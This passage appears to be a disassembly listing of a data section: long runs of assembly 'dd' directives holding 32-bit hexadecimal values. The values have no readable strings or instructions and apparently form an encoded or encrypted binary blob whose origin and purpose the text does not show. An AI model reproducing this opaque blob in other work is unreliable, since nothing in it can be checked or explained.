9FE3CE55h dd 0C71CA6B8h, 9AC26DDCh, 84480312h, 79803AA9h, 73070B2h dd 6EFA45B8h, 6423101Ch, 0AA00619Ch, 1F4E7239h, 0FC189C2h dd 7D4C2ADBh, 0A4AF20E0h, 8E1F81A6h, 80BFD704h, 0D2DBAE42h dd 3B77A3h, 0B2370E9Bh, 0D0CDDC5Ah, 0A79FE0Fh, 0E7246062h dd 79A9CD6h, 4E8EF210h, 810460C6h, 97983E6h, 0B21DFC0Fh dd 204A8BBEh, 0AA4892D4h, 0AF6900C8h, 5AF13040h, 2DFAEC3Ah dd 9964B600h, 20DC2CCCh, 0B49ABCh, 1A3F42FDh, 92AC2397h dd 76832639h, 9B3FAAFAh, 0D0700DEh, 0E5D25C51h, 36C20091h dd 89616FA8h, 0C500ED56h, 9F8CE62Ch, 85B5A2h, 7E73EC09h dd 3A06E81Ch, 0FE5EF107h, 0F28143E0h, 82E03EA2h, 0A9865108h dd 1F6993C8h, 5E5AE77Ch, 482040B9h, 911BE50Fh, 0F9210200h dd 0BAFEC4AFh, 32CD00C5h, 0D02E3ECCh, 0EF0F3CEEh, 7E36B58Dh dd 6BA6E040h, 78498EA8h, 9FB11EFEh, 378F409Ch, 68BAED50h dd 0C2C13300h, 0DC5C8C20h, 2F5500F3h, 80628D3Ah, 1B0F18F0h dd 5D193490h, 1C13DCC0h, 9AC2F47h, 0B2DFCDD7h, 0DBC3C480h dd 4800E6E3h, 58155D9h, 386F3EF3h, 3C00F47Eh, 0A434C70Eh dd 86002A8Eh, 43DF104Fh, 2393CFh, 0C9E92E0Dh, 5AB444F6h dd 0B9BC51Ch, 0FF18F2C7h, 62982F20h, 210E05Dh, 0CD3F8F6h dd 0C8B727h, 0A45D1B34h, 96390000h, 65C21216h, 147C7419h dd 1037347Bh, 311251Dh, 0CDC0D768h, 96C1FFA0h, 9462BE03h dd 201B9Ch, 0E61DCC28h, 0B4842E5Fh, 6A086060h, 70E0B6B0h dd 0D3AF001Ch, 4E6BC4Fh, 0C000E777h, 0B2F933C4h, 3A8D097h dd 0A34BCD9Ch, 8DD8B742h, 5D03C925h, 7CD42806h, 2643C19Ah dd 600C6DF8h, 0CD8A9838h dd 0F6754C62h, 20D5B901h, 0B7E2C03Bh, 0A1CADCh, 8E13F47Bh dd 0C4A879C2h, 7228709Ah, 0E6027C1Eh, 247811FEh, 0CC14B017h dd 5FE81862h, 5280D016h, 78B0FBF4h, 6A75C00h, 0B2935D97h dd 404B0FC1h, 0DA673B46h, 0DF2D6059h, 0E800E660h, 25DB33A9h dd 0FF6A9Fh, 222FC820h, 0B9956E93h, 5CBD210Eh, 3F8C800Ch dd 3FE4EE1h, 0EA3D849Ch, 0BE9FA081h, 0F48947C0h, 7600B787h dd 77A134ABh, 3D9CBB5h, 7139B6CAh, 0C8D874EBh, 94079F0Ah dd 0BA8DA45Fh, 3BC88CB6h, 0E607A8FDh, 83C59768h, 0B6EA66F6h dd 2B00F864h, 0A19424D0h, 1C97130Ah, 458E0865h, 1FE5B131h dd 59660094h, 9A4F17B6h, 0F72FAD07h, 0A19056CFh, 79B7B3h dd 0A58B5234h, 0B8159955h, 0D89FE100h, 1DDA9086h, 0B14C3A32h dd 0A87D1872h, 0E70A78C8h, 7C8C1124h, 0AB3C8D3Ah, 48F2381Dh dd 187E1B50h, 11C11197h, 63078F15h, 185E6189h, 185D3583h dd 50CA4E08h, 602407F4h, 1100268Bh, 5B80AD33h, 0CC2150DEh dd 6B11875h, 0C8AD11Dh, 6F86B800h, 0A5398EBAh, 2F223A58h dd 81CCC924h, 0CD0CE999h, 0A301CCBAh, 5999E761h, 0F7F80367h dd 7B710615h, 613A9051h, 52017846h, 9EBA71DEh, 0C0EF0C2Dh dd 0DDFBA721h, 0F9001360h, 695A120Ch, 500BC771h, 0EE054h dd 0BDFC61D7h, 1362F093h, 0EC0163E6h, 8CBAD489h, 80E07446h dd 0A2B20004h, 20141E2Eh, 0F800ABF6h, 67762BE4h, 0F645EE2Fh dd 0F7A6006Bh, 0C722A314h, 3900BCEAh, 0A29DB959h, 0F45828D5h dd 0A9E1005Ah, 207CB7AEh, 3700B61Eh, 683CCFFFh, 7A2DC90Dh dd 0E5850344h, 0F5ED4F81h, 0BDBF47E0h, 0A088DF00h, 4D8DC3E3h dd 0C13A019Ch, 4FA5DB5Ah, 76FCEC19h, 894A5Ch, 78AE295Bh dd 127EA9E3h, 23C4767h, 0D6F657EFh, 5162CC60h, 31B84A00h dd 0D5496B8Ch, 19180043h, 8FBF0BCCh, 4FEAC53h, 15DAEF00h dd 528CA750h, 0C3680084h, 4ED3F4B0h, 0CD0005F3h, 0FEC76436h dd 248C99BEh, 0ECB96h, 569FB7D3h, 9E07A23Ch, 636E1961h dd 0D8EE0F10h, 5285001Fh, 65DE26BFh, 960061EFh, 82E566C7h dd 4857BC89h, 1E00454Ch, 5928E442h, 7703FE99h, 667B08D0h dd 37D8003Ch, 837ACD98h, 0FD000C50h, 12FA8E1Fh, 0E6F00Eh dd 0CEB7824Fh, 0E59989A1h, 0C8131D00h, 0CAAAA909h, 60E4ECh dd 18F967F5h, 58341ABCh, 0C9A77A00h, 12256F4h, 53E246Fh dd 4C3F0045h, 946784B3h, 64E2A200h, 77DF9221h, 2D3C1CFAh dd 0F240CFE8h, 737A1500h, 6D7D4EF3h, 21835A18h, 66F9B4h dd 0F29D7F39h, 0E4D7F52Eh, 4AF894A0h, 0BB2F2D00h, 394B41D6h dd 7DF23EDFh, 0B5D8118Ch, 1004F11h, 5F8ACB37h, 0C030ED36h dd 0E92D2219h, 0AC0084A1h, 918A068Ch, 76E4045h, 4C12DA0Ch dd 7674822Fh, 1A601CC0h, 80848739h, 0C0AB378h, 0F1E2415h dd 0FAF75BF5h, 0B72EFF20h, 69006533h, 6D89B5B0h, 608CDCFEh dd 94B4703Bh, 2A01EC15h, 55BA0FD4h, 0BC50020Ch, 833B5h dd 225A2D0Eh, 0FFE24FC0h, 0DD0F697Dh, 3E9F7Ch, 0C38C3234h dd 0DC4009Eh, 0B4E95DB5h, 945CBA72h, 0EC681DF5h, 8CD6DA00h dd 0A0BCC6h, 7B122FA9h, 0B6297887h, 7C0A8F00h, 3A921F04h dd 0BDA7A2Ch, 0BEE7E8F2h, 0CCB79000h, 9A0253A2h, 13CF1F81h dd 488E8093h, 3C2F74FCh, 0F480F23Dh, 5615085Ch, 7C0186B4h dd 6C9EA1CBh, 0FBEBBFE8h, 806EEF10h, 5847362Eh, 0AFD500BBh dd 0B08EBD03h, 59FC40CAh, 0D1438804h, 0B08041E6h, 3D0EF46h dd 1F2E1DDh, 0AEA08FCBh, 0B3005C76h, 5E793A35h, 420474h dd 0C0FD2E87h, 0A39027AFh, 4F008AFEh, 97E14580h, 1F41B805h dd 39B1A43h, 0D026D5EDh, 0F4D7C3B0h, 111CF901h, 0AB021FBCh dd 2F8CF60h, 0CDFAF182h, 0D89CBA5Eh, 65BF8700h, 0A5D208CFh dd 0CAEF007Fh, 805B24ABh, 7500443Bh, 9915840Fh, 12D5A727h dd 0E9E088h, 0FCF27F90h, 6C09C99Bh, 69A563h, 75A21BB8h dd 0A16B0010h, 58F2E02Fh, 0E91FAEF8h, 6F431F0Bh, 0FB686450h dd 0D7ECD1B9h, 352720h, 4732E4FBh, 779D3F45h, 9407D0F0h dd 0DA6DD09h, 0F7261C0h, 15AF0068h, 2F15AA7h, 0F500DA04h dd 35BBDED3h, 0CA6A22h, 0F6706603h, 0EDC915D0h, 123D5E1Ch dd 4800783Bh, 938C07BEh, 5C143FCCh, 0DA1D0429h, 887A0052h dd 3D4486A4h, 9B009EECh, 3671FE20h, 4C79CAh, 0DF14401Ah dd 0F76DBBACh, 39B02C0Eh, 5F033DBCh, 80FB0A20h, 0C1BF93h dd 1EAD2305h, 4E975E1Dh, 4CA90805h, 9C05EDBAh, 0C42C6C0Bh dd 1EB30340h, 3075D34Eh, 0C47E3CC0h, 0D45E112h, 6FE08C00h dd 3E7A51h, 0C09BDCEh, 73FCCD48h, 0D8F11F05h, 0A1C0DAABh dd 184577h, 9D3FED9h, 0F8872F47h, 0DF2BE600h, 98928C4Eh dd 33353DFFh, 29F3A300h, 70A7A002h, 7975DB00h, 433C0B42h dd 0BC8A015Fh, 295986Fh, 0BCE06BF1h, 24B5F88Ch, 3C23E4h dd 73C397Fh, 870A5793h, 97C9ADAFh, 0C674BB00h, 0E2E086CBh dd 72AB0669h, 0F07898C0h, 3808FD01h, 0E850094Fh, 26A346C8h dd 114297Bh, 5B69EC53h, 878277Fh, 608B592Ah, 24A3505Dh dd 9038C01h, 2C055A79h, 157C34h, 97C484F5h, 0D79F22A2h dd 4A38890Ah, 0CB00BF0Eh, 1F05D469h, 420F0017h, 7B20D0CCh dd 4F07A1DCh, 3E64DE9Fh, 37697EE0h, 0EC431818h, 977D3A80h dd 88A18300h, 0C2C79011h, 56DC00BFh, 4A6BABA6h, 8891D14Dh dd 885823E3h, 306A00Bh, 7D77B074h, 9E00F5D4h, 0FFB284F4h dd 48ADB79Eh, 0D7807C76h, 3E305799h, 0DB31142Ch, 0ACB01D02h dd 703C60A0h, 636B00B1h, 3027CAF6h, 5F00D5D0h, 0AA8BEEA8h dd 29CCFEh, 9DD288ABh, 3795BF55h, 63326D00h, 0CD302A45h dd 0FB7F89h, 9A045234h, 5BD0BB4h, 0C1E9A916h, 0D73E8040h dd 4ED837h, 29875233h, 2EEFB99Dh, 39F36701h, 2109C0DDh dd 496F3330h, 8E0420CBh, 8007D699h, 0D8EF184Fh, 0EC6BFF00h dd 90EEF313h, 0DF350052h, 0F1316779h, 0F877777Fh, 0E2CB0507h dd 52B5C25Ch, 92EC65C0h, 2AD20068h, 4016BDE6h, 707B1545h dd 756E8900h, 9AC302E4h, 0A79700BBh, 9B2D8CC0h, 99037764h dd 2BFF685Eh, 9A4B9827h, 72EF3C6Bh, 3E0D4E00h, 0E3253879h dd 530AADFCh, 0DCD4B3F4h, 0D8F8B700h, 58B945A2h, 0E20B4CF5h dd 0E4021BEBh, 5C00EC0h, 41023E5Dh, 58A32AA2h, 0A410E86Ah dd 0FEE900C3h, 0A9CDAD22h, 71759B6Bh, 47B46F02h, 4E81CAC5h dd 0E0404D68h, 59C95DC2h, 5AB2605Dh, 803C0FE6h, 96EA0795h dd 0E33209CCh, 0F5FB6500h, 66E05A15h, 0DA0ADB16h, 1A38D200h dd 6CE807h, 0D6B27A8h, 0B517C0F2h, 9C563E24h, 0CF300E05h dd 244E1494h, 851804FFh, 0D000CC97h, 68EF40Ah, 16EB6682h dd 0B600516Eh, 29AD1A35h, 9320AEDh, 1724AC6Dh, 62E0410h dd 0FBA6461Fh, 8D36CC40h, 8C703Fh, 0F5CF724Bh, 0C3EBBD83h dd 0CED48928h, 71411600h, 0EE471F5Bh, 378C0086h, 0B2BDD029h dd 4800F02Bh, 7FE32E4Bh, 2AF9C7h, 0FF6670C9h, 0F3BCDFBDh dd 0F41B6901h, 0AF423ECBh, 7D5B120h, 0AD2A1896h, 0C82720A4h dd 0D3003940h, 63D269F7h, 62DC71h, 4FDA57DFh, 0A024E9C2h dd 0E13BE00h, 0C9448DD5h, 0B5A80750h, 505C15F4h, 0C54C14ABh dd 0EA09661Dh, 0B107CFC2h, 58CCE0DAh, 0C160C0CDh, 4F9D2E3Ah dd 789EA31Eh, 6E7F794Fh, 2F5A208Eh, 79E766C2h, 44B26EDh dd 7E846350h, 0EF9DBE2Ch, 0CA1CE802h, 1DA04826h, 2CB20083h dd 7B424721h, 0E107F266h dd 0B32FAA02h, 0C871B563h, 2C375Ah, 0FFCC839Dh, 53170ABFh dd 882664B0h, 384158EDh, 6771F111h, 5C9CAFC8h, 0D5092CFCh dd 0B8A0878Bh, 6A83674Fh, 0E804FE76h, 0D1AECBE4h, 0C688CCh dd 7D7230BAh, 0F3684BA7h, 0E30C0800h, 484E24Ch, 15FA001Dh dd 789FBD88h, 2800C33Fh, 537B65FEh, 1B2EA2h, 4010A32Fh dd 2C4403B0h, 8295B1Ch, 0B3EC8380h, 0F6938BFFh, 5272005Fh dd 146142C7h, 73091DFEh, 80368A76h, 41D84E80h, 5CE0094h dd 18BF3195h, 73004588h, 0C7FF1B86h, 53F4CEFh, 9D6CE1D3h dd 0A0CEFCh, 175D8DD4h, 1473EF99h, 0ECF42F96h, 0E3770808h dd 2A5A8307h, 0A8C4E4C0h, 0D83C5019h, 0E2A19046h, 0EC6D1291h dd 0F9A030E1h, 0B01E534h, 0DF764ACFh, 0C0E0AA2Dh, 2BBB00F6h dd 21F96E17h, 0DE24C29Bh, 0CA0AF831h, 0BAF2C4E8h, 6DB090E0h dd 0BD451826h, 5C019077h, 4E46BF12h, 0FCF8900h, 0B8677857h dd 25776Ah, 73631551h, 0FBA22601h, 5CDD100h, 4BD38DD6h dd 7BDE0075h, 0C4898F95h, 0E30F305Ah, 0D892C6h, 57220336h dd 0EE7B0060h, 30680B6Bh, 7A00E833h, 0DF7D19C0h, 0E81F6D9h dd 0FDCA176Ah, 0E0BE6B00h, 8F002664h, 0A392A805h, 0EC8CBD86h dd 0B39100BBh, 0F898B063h, 0E71F4D46h, 0B81D5C5h, 1B4CF9Dh dd 306DC4h, 0BB32F983h, 6CB3AF3Eh, 0F45C7F7Bh, 1ECF00E0h dd 884FE734h, 0DB891E51h, 61164393h, 0E38B203Eh, 1835D7D0h dd 0D88AF607h, 0C06FFC70h, 58FE9929h, 84050153h, 7E799C33h dd 0E413DC0Bh, 185AA24h, 0F03514h, 0B5B72912h, 24104161h dd 24A0EA03h, 0A2C40002h, 8F940758h, 1D130600h, 9E6E7F69h dd 163601E7h, 0B895EC1Ch, 0E4D0FFDCh, 1E00B6E5h, 31C1587Fh dd 1A524FCh, 0C23CD18Ch, 20E52F2Dh, 0E60EA234h, 49BBC6F4h dd 0CB2F0157h, 39D07CD3h, 13601CFEh, 504CC3DEh, 0A3A1F5E0h dd 0A0BCCB54h, 1A000220h, 0CD98A8C5h, 0E8A9D6E8h, 1ED30055h dd 842596DBh, 220013A2h, 0BEFBA73h, 2DF7221h, 56981141h dd 0F0C8CC77h, 0E7001954h, 0B4034FD6h, 37E121Ah, 68B8F4B6h dd 0E2C88F81h, 4709F1E0h, 0C85F4507h, 26028Ch, 0F478A8BFh dd 7A6236E8h, 0C97EA5B8h, 44AD3701h, 0BDEFE6D3h, 51FCC5CDh dd 99F4000Dh, 0A13B4C6Bh, 0C40013ACh, 205D343Fh, 14CF4Bh dd 8B432886h, 8E499359h, 3DBF3Ch, 0BE37C84Fh, 0F145F3h dd 0EE692E06h, 36F08034h, 4CEB2F0Ah, 0AB40D87Eh, 0F4D185A7h dd 54E007D8h, 46E555D4h, 9900B9C7h, 5B73818Fh, 68EFF7h dd 0D5E9E6C9h, 0A66E03ACh, 3C758h, 95AB64E3h, 2D9AD0h dd 0E1DBC69Ch, 0E9DF8CCAh, 8A00CBE8h, 85DE4392h, 0EE7A9C54h dd 0E4FCD039h, 0D16DCA06h, 87001113h, 33D664DCh, 35B77E3h dd 3DC15DDDh, 3148126Eh, 14541FD1h, 0FA6A7883h, 2358011Dh dd 821652D8h, 0B8CD03CAh, 3A2B85Fh, 6B57D0F6h, 44A2F501h dd 0E8A75C68h, 317F7C00h, 3814176Ch, 4983F3D8h, 1E7E6ABDh dd 8A805803h, 0D897A077h, 0E7F90Fh, 95D8EC62h, 3D1C030Ch dd 17DAA900h, 2B57296Ch, 0AC6900D3h, 0E2AACD5Eh, 0ED00079Bh dd 6861F71Bh, 41FA99h, 0A4DE1F33h, 8E852263h, 747B6700h dd 0E29F6F2Fh, 875C00D2h, 32909D64h, 80057A3h, 287B8435h dd 0FCECC10h, 4816B195h, 0E0B33187h, 512E8C9Ch, 4F394E03h dd 885B127Fh, 1E72CFh, 94BF8876h, 7C475D9Eh, 0FC281A60h dd 1DC43EAEh, 872873F4h, 0B34B2E6Eh, 60B1D539h, 65D8FFEDh dd 462CC256h, 803DE7E6h, 53872AF6h, 6071E74Fh, 5CEB4850h dd 6100440Ch, 6B3DF490h, 7DCEAD0h, 311F4569h, 0F199E0CCh dd 6005546h, 216722E6h, 134C204h, 1872454h, 70CC8C9Fh dd 0B1E499B6h, 5F6A4509h, 40038FABh, 5842798h, 50813093h dd 581DC419h, 55613C02h, 80FC49C6h, 1BA06F80h, 0D09B0048h dd 1A2FBD18h, 0EB7F71CDh, 2C5C4303h, 908188A7h, 73C387C1h dd 0D5A90F18h, 0AF0025E8h, 546B4830h, 0C53DA400h, 0BF8349E0h dd 6A790052h, 8E33A3DDh, 5300DC60h, 0E00EE9DBh, 0E32AB7h dd 1286AC70h, 0C8404859h, 0F667EF2Dh, 8A4B00FBh, 0C75DD147h dd 0E8D0C500h, 3696CE38h, 0B4540FD6h, 0B803B26Dh, 0E9A813F5h dd 0E018DCC6h, 0BF085157h, 3520D45Eh, 1693130Bh, 4BB0EB81h dd 0B6806E66h, 687CA6Ch, 355398F1h, 0D80E51E0h, 9F9A8234h dd 8F3B6A80h, 1C081D4Bh, 1E0E8945h, 8EA20095h, 0CDBD669Bh dd 38039678h, 5E73E8C5h, 0C2A000C6h, 0B33598F6h, 0B200EDC7h dd 4479D8FEh, 307707Bh, 0BCD521A0h, 1C805DDEh, 0A500B706h dd 5E6A9FFh, 3EE28Dh, 0C2D2B46Eh, 508E7B98h, 45BA3C00h dd 9D822F88h, 20A800E9h, 6E55A3C9h, 9A03075Dh, 3BCDD9D5h dd 397ED8EFh, 25DD00D7h, 2D68E22Fh, 0D91E5F5Eh, 4141AB69h dd 4ED4AC28h, 4742092h, 0C18FCCBBh, 704F105Eh, 4400A2C5h dd 0CA87E45Ah, 7A67E42h, 4A348A49h, 0E078FD15h, 4000BF04h dd 803F84A0h, 0F6252688h, 6D0D3099h, 388F24A9h, 0C0EA2800h dd 0D2AFC57Bh, 0D808CC7Ah, 2D00EF21h, 0C367582Ch, 0F9BE63h dd 3D36A6AAh, 0DCAB9D81h, 99E22E01h, 0BF052165h, 3485C6E0h dd 2E41503Fh, 81311038h, 0D1939FC0h, 0F6000C5Fh, 75226CFBh dd 3F8757C2h, 42031930h, 1A81922Fh, 98445900h, 6B075F16h dd 0A4E5199Fh, 9E41086Ah, 15C06489h, 53CBD5FFh, 0D590002h dd 99D3F654h, 1302931Ah, 86505FD2h, 59D0813Ch, 9708D8C7h dd 5F5B2704h, 313165F1h, 96690014h, 98C10727h, 302AF1E5h dd 0B5683C44h, 5424A301h, 691ED90Eh, 1B78E0h, 0DA9687C8h dd 8859558Bh, 51947300h, 0C5ABB2D2h, 1C8A0748h, 0E3C091C7h dd 5BE3A86Eh, 761F9DB0h, 0F3EA3E01h, 842A07D7h, 0FA3DE2D0h dd 0A0C100F5h, 25EBFAA9h, 8C178F9Bh, 88014BE4h, 0C4EF32AEh dd 0F03534F4h, 2A5C002Bh, 0DF53094h, 0C0768B4h, 0F3DF3CD6h dd 0CCDBC980h, 0D34C006Eh, 0C133B1A5h, 8100658Fh, 27FD123Bh dd 9280F3h, 6F36DC79h, 0B267FA2h, 83B3EA00h, 0A1198182h dd 7EF75C59h, 18FCE81Bh, 603C29D0h, 0EBC90E00h, 301A6341h dd 0E59001EAh, 5A4E176Bh, 0DC763140h, 0B66022ADh, 26F07250h dd 0D2C80085h, 0B74840B5h, 4C077517h, 0E70B10AAh, 0EAFCD141h dd 31D11D8h, 470C3738h, 8185222h, 0A720C373h, 5C720F29h dd 0BDE0F65Bh, 0D70DC79Dh, 9852AC00h, 1857CA78h, 9EFA0C06h dd 0FB60FC54h, 3FE60421h, 37A02F8Eh, 23463364h, 0C0213A5Dh dd 0F14C2C81h, 7043FA36h, 0EE01539Ch, 5B57E202h, 2880BA83h dd 45547A0Ah, 323CAC0Eh, 8FD800FBh, 0A7A48B07h, 3AD398A1h dd 5018A0EDh, 0C54330D0h, 69F90700h, 73F1EFF5h, 835200C0h dd 16855DA7h, 8903BF8Bh, 3575907Ch, 0DC68007Dh, 698E668Ah dd 21264C11h, 1E064480h, 207BCCh, 6261B446h, 0C2A6A5AAh dd 0C8508400h, 70673460h, 0BFE4002Ah, 0FB5E5490h, 6531B0Fh dd 30F6A288h, 130091EDh, 0BED82E74h, 30CBFAEh, 0C224B3F7h dd 0F0F755ADh, 835A3960h, 1AB8D31Ch, 66A6C781h, 0DBD414AFh dd 4D6D00BBh, 0D7FDD4Eh, 0FB00D42Ch, 0E0F55DD8h, 0B8749AA0h dd 696D00C8h, 8ABB30Eh, 6400AE13h, 0E25759EDh, 0D6F938h dd 0AADE81C9h, 0E0E7FD9Ah, 0B6A0A51Ch, 0E5A45740h, 96B822h dd 0DBD4FEACh, 614C0BE4h, 0AD1080F5h, 0F54D1F0Fh, 9E980096h dd 6DD5A0E2h, 0A6090C80h, 8EB12B8Dh, 0BF0F575Bh, 0A0E7073Ah dd 4244C920h, 0CF510049h dd 0B6DB52FFh, 0AC01E43Fh, 0D9B9B2B7h, 5EE05685h, 0ADEA1FEDh dd 94C80F9h, 430C3058h, 14EE75E8h, 0D3279100h, 0E5A6EC66h dd 1C633F65h, 1620C74h, 0E1908F64h, 3600397Ch, 0EEB97352h dd 1849ECD8h, 98301C44h, 0A97D85BBh, 0F4997506h, 0D8897Eh dd 26BA2731h, 87D25F8Ah, 76F0CD60h, 3C8CC19h, 10F885D8h dd 83E0CF1Dh, 0A2028C89h, 24534057h, 7D2C822Dh, 155222C0h dd 0EB08F211h, 0B008C642h, 9C34947Bh, 0CAC82C00h, 7A54BA4Ah dd 3DAD4478h, 21516420h, 0D2041226h, 4F049F07h, 2D4820C5h dd 0F8833817h, 98D044FEh, 4CB18765h, 0F9612C45h, 9AF49C02h dd 0F2CA2D6h, 0B7330289h, 67F7AC10h, 0DA0CB067h, 1431382Ch dd 0D440B1h, 54136457h, 3EC6AC65h, 73843Fh, 6B8B3645h dd 0A577DC0Eh, 6225BA1Dh, 0E61280F0h, 0B2B50032h, 8A225FA1h dd 2E106A78h, 4A1FE22Ch, 0A9824347h, 0C81D86DFh, 7809543Dh dd 95E1003Bh, 0FD497Eh, 195F1810h, 0AF213230h, 0BD1E8212h dd 58380402h, 0ACCE4116h, 0C3EFD8h, 3FA87757h, 6B8A7554h dd 831CA339h, 2AC07EBh, 4B980E06h, 194A68BDh, 8DD400D0h dd 0A8360A2Fh, 0A386E806h, 5008A945h, 0D488B1h, 9C05FA9Fh dd 4706E727h, 0A10E1D00h, 0D0CB898Fh, 0F3D705B9h, 2216C6h dd 0D4F0E5DCh, 0C13F19FEh, 405C01AAh, 215AD039h, 0A8D52094h dd 19CAFE02h, 604B1241h, 7E9834C0h, 70387401h, 9FB03189h dd 0C575A1E7h, 1C22209Fh, 0B413C17Eh, 2037EAEEh, 0CA0228B0h dd 1A2442A8h, 0E2B4807Ah, 48B97976h, 0A45070CEh, 9ADE1886h dd 25BBF89Eh, 3C920E24h, 0A746E21Fh, 3E2042Eh, 3564EF66h dd 0C0A4038Bh, 11555CB6h, 0B9B18400h, 0A9FD213Fh, 7C70E7BBh dd 0B2020019h, 0FDDD559h, 67003C64h, 32863D46h, 0B6F103h dd 0F398B530h, 5165A038h, 1F009B7Eh, 0A4BDCEB7h, 113D1FFh dd 61FB6E11h, 0C063575Dh, 0D8030860h, 748885D5h, 70183BC0h dd 0B0719780h, 25618BA2h, 0C375CE00h, 0BA400582h, 0F01CE864h dd 0D3D700A4h, 0C2930295h, 0AC1E81F4h, 0BB06F16Ah, 1A10E088h dd 28779B1Dh, 934EC580h, 0AB009738h, 4BC48B02h, 106D80Dh dd 0DEE2E5F8h, 8F1AE459h, 18D208h, 6E1F2968h, 0F3FA00F2h dd 46C14EA3h, 0EE3F3EA7h, 0CA6F0040h, 0F93BB696h, 0C76C02FCh dd 9D64AC5Bh, 8A5405E0h, 1F3E4500h, 1804A78Bh, 363C00AAh dd 0FAF9CB6Eh, 0D2002140h, 0D34B78A1h, 7E36D2Ah, 0E1653889h dd 0E500CEC3h, 7F7DF0Ch, 82BDFD02h, 0DD3D7A5Bh, 99E75000h dd 0E600D6EBh, 244107A6h, 0F62DB814h, 8EDA302Eh, 946F9848h dd 0B95EEB1Ch, 0FEC3CFC0h, 1385DBh, 0CA892951h, 7BEFACBAh dd 91D8970Dh, 152081E0h, 0C29406AAh, 0E03312BCh, 0DAD7A506h dd 1897402h, 0D552A6FBh, 7014B5C9h, 58007B33h, 0A82666DEh dd 50FDA1h, 722A1A4Bh, 579FE840h, 0CBD31600h, 4209C5D7h dd 0DA8D00EEh, 52BE7E6Eh, 0DEE4CC48h, 20B05Ch, 6A77A971h dd 7A386537h, 353B00D6h, 7FF18004h, 5E03F55Bh, 1A872D05h dd 2F27E01Bh, 24EFA0Ch, 14348A9Fh, 8C7F07E3h, 0B047B1D1h dd 0ECB600A5h, 312E889Dh, 1792089h, 8BD32C00h, 0DA39C248h dd 97CF0576h, 846DA694h, 0E4D8010Ah, 0EC28AB20h, 2A01BB37h dd 1A53ADB4h, 7EF18592h, 90EFB0F9h, 0E5D86Dh, 7DD1E354h dd 875971D3h, 0EA8BE801h, 86C2149Eh, 3B7ACCh, 0A4334F8Ch dd 78F71FADh, 1F8840Fh, 7D0776A9h, 0D8B0E460h, 0DCAF8Bh dd 51E2FB13h, 8E5D17BBh, 0A035E000h, 86308977h, 98ECF175h dd 239F0038h, 0FDD0DD2Ch, 3E00A6E4h, 7F3C5E77h, 0ED181Ah dd 48658C4Bh, 5942C125h, 0C6CCF600h, 5BBAA822h, 717FD0h dd 6FB590E0h, 7FFE32D5h, 0D8C2580Fh, 28FA4424h, 4E056EC0h dd 0F9AC003Ch, 649E2A47h, 0C53A8F1Ch, 0A3B02449h, 4CFB1D00h dd 3C8EC7EAh, 0F381A055h, 0AA733F9Ch, 5586A688h, 0CE116100h dd 7145380h, 156BC076h, 72339051h, 9050508h, 0AB795D3Bh dd 43009DC5h, 7D91373Ch, 57DC0041h, 0B32B8CB5h, 22071D36h dd 0CFDD1577h, 74D5295Ch, 6C8C8208h, 21443929h, 0E96B0974h dd 20C373Dh, 3420B451h, 2425222Ch, 0E4293718h, 8B21CD28h dd 5111BAD3h, 14082381h, 0E11F664Ch, 91083F10h, 8D042AC4h dd 1B0278D6h, 6505DEC0h, 75BD6400h, 5036A8C1h, 447314E9h dd 40FC99D3h, 0C6FE4580h, 299A5579h, 0E813BC10h, 78391D18h dd 4C00CD89h, 0D99D91D3h, 712DA664h, 6F2600C3h, 34EE08BDh dd 710025B7h, 0ED8043C9h, 0CDBA3Eh, 0F6FA8C5Eh, 0C7783513h dd 8DE24B00h, 0CC080F36h, 0F214006Eh, 0F145BCE4h, 0B6000D8Bh dd 50066FA4h, 64A8ACh, 0E831DE66h, 99DD1C23h, 0C50059EAh dd 271A43E6h, 0FC5B8D5Ch, 15CD0005h, 8A0A06DAh, 0F9030916h dd 1C996B4Eh, 4D01E137h, 305BDDC0h, 67A0CBE6h, 0E203FAF4h dd 94903ABEh, 0C6B7B081h, 0A7C83A56h, 4F7D9Eh, 1837AFDh dd 0E600EE1Bh, 9361BB23h, 55B5E0h, 0BCDC3617h, 2F9B3043h dd 5EA4CE61h, 62F8DE01h, 0C3B10009h, 3038A821h, 2F00F2B4h dd 7BC17A87h, 556395h, 0DB0A086Ah, 0D684DDC9h, 0DC47EA02h dd 606F40ACh, 3A9F7300h, 0D09C94C4h, 0D9A04063h, 3CD60150h dd 15297400h, 2D70DC2Bh, 0BE7883h, 0E93AA957h, 0DA216706h dd 0CA7D2200h, 0DB1AF46Dh, 0F21639D8h, 0FEAB8000h, 73E577EDh dd 2CEB0C00h, 0A5403BBDh, 3D41D9Ah, 765200ABh, 34832A7Fh dd 31B62E00h, 0BE022FDAh, 8BFB0F7Dh, 2A00DBDDh, 551BD9D2h dd 410F0870h, 9FFAC204h, 5A7C6B40h, 1D6EB7h, 12761586h dd 94CE4B18h, 3F40F600h, 72EF9335h, 0EB8000C0h, 5E338523h dd 51E6B7BFh, 0F8665600h, 0A6289FCCh, 4CD50064h, 4AEA1305h dd 0B51EF9ECh, 5B4091EFh, 6014B881h, 0A6BE1D9Dh, 0E5B300F7h dd 0C28E382Ah, 24A32700h, 264278DBh, 0C85E0025h, 2A6DFFFAh dd 0DA00C0EFh, 0BC0489CDh, 0EED4D92Dh, 0DB0F00AEh, 0CB352AD2h dd 0C5008502h, 0BCE830FFh, 9EDACAh, 0ABA27BEAh, 0A32CA5C6h dd 98501802h, 0E074172Bh, 64A96Ah, 0CCB5CA6Bh, 0EE3F0B24h dd 601E5D07h, 8A601A88h, 0BC67A9Fh, 76B3D8D2h, 8F6F5200h dd 0FF00E696h, 0BCF2D02Ah, 48A6A1D9h, 3A0C1C10h, 0C110DD55h dd 0DC79DC24h, 529D5103h, 0E6061F25h, 0DA418093h, 6E7AD5F7h dd 0D3002090h, 0E318899Fh, 39BF9FAh, 6D7B28FBh, 0BAD364A2h dd 81E1FCA8h, 1C27F300h, 59F11801h, 0FAD5F0F4h, 0B566009Ch dd 39898C1Eh, 22EE79D9h, 2DE86200h, 4B618030h, 0F71F0A1h dd 0EB50F97Ah, 64992883h, 0B011C380h, 2B207700h, 1E8930C8h dd 252D0AF3h, 810CFD4Ch, 94D1C017h, 0C173EC50h, 0FAD9F700h dd 3A3481CBh, 60B4002Bh, 31C0F171h, 0C8F89086h, 0FD512F00h dd 7D31EE1h, 0D4D00B3h, 0A02212F1h, 6D12D5ACh, 49004C47h dd 0ADCEDB65h, 2A1D0370h, 0ACC12628h, 0AA007ED3h, 0EBAA3B1h dd 608292h, 0FB0754A7h, 0EA8F6EBDh, 8091CB39h, 0C49A9B17h dd 57CF93h, 0BA18854Eh, 0BE147BDBh, 7D9F48h, 73132EEh dd 0C3CC9h, 0C8FD3644h, 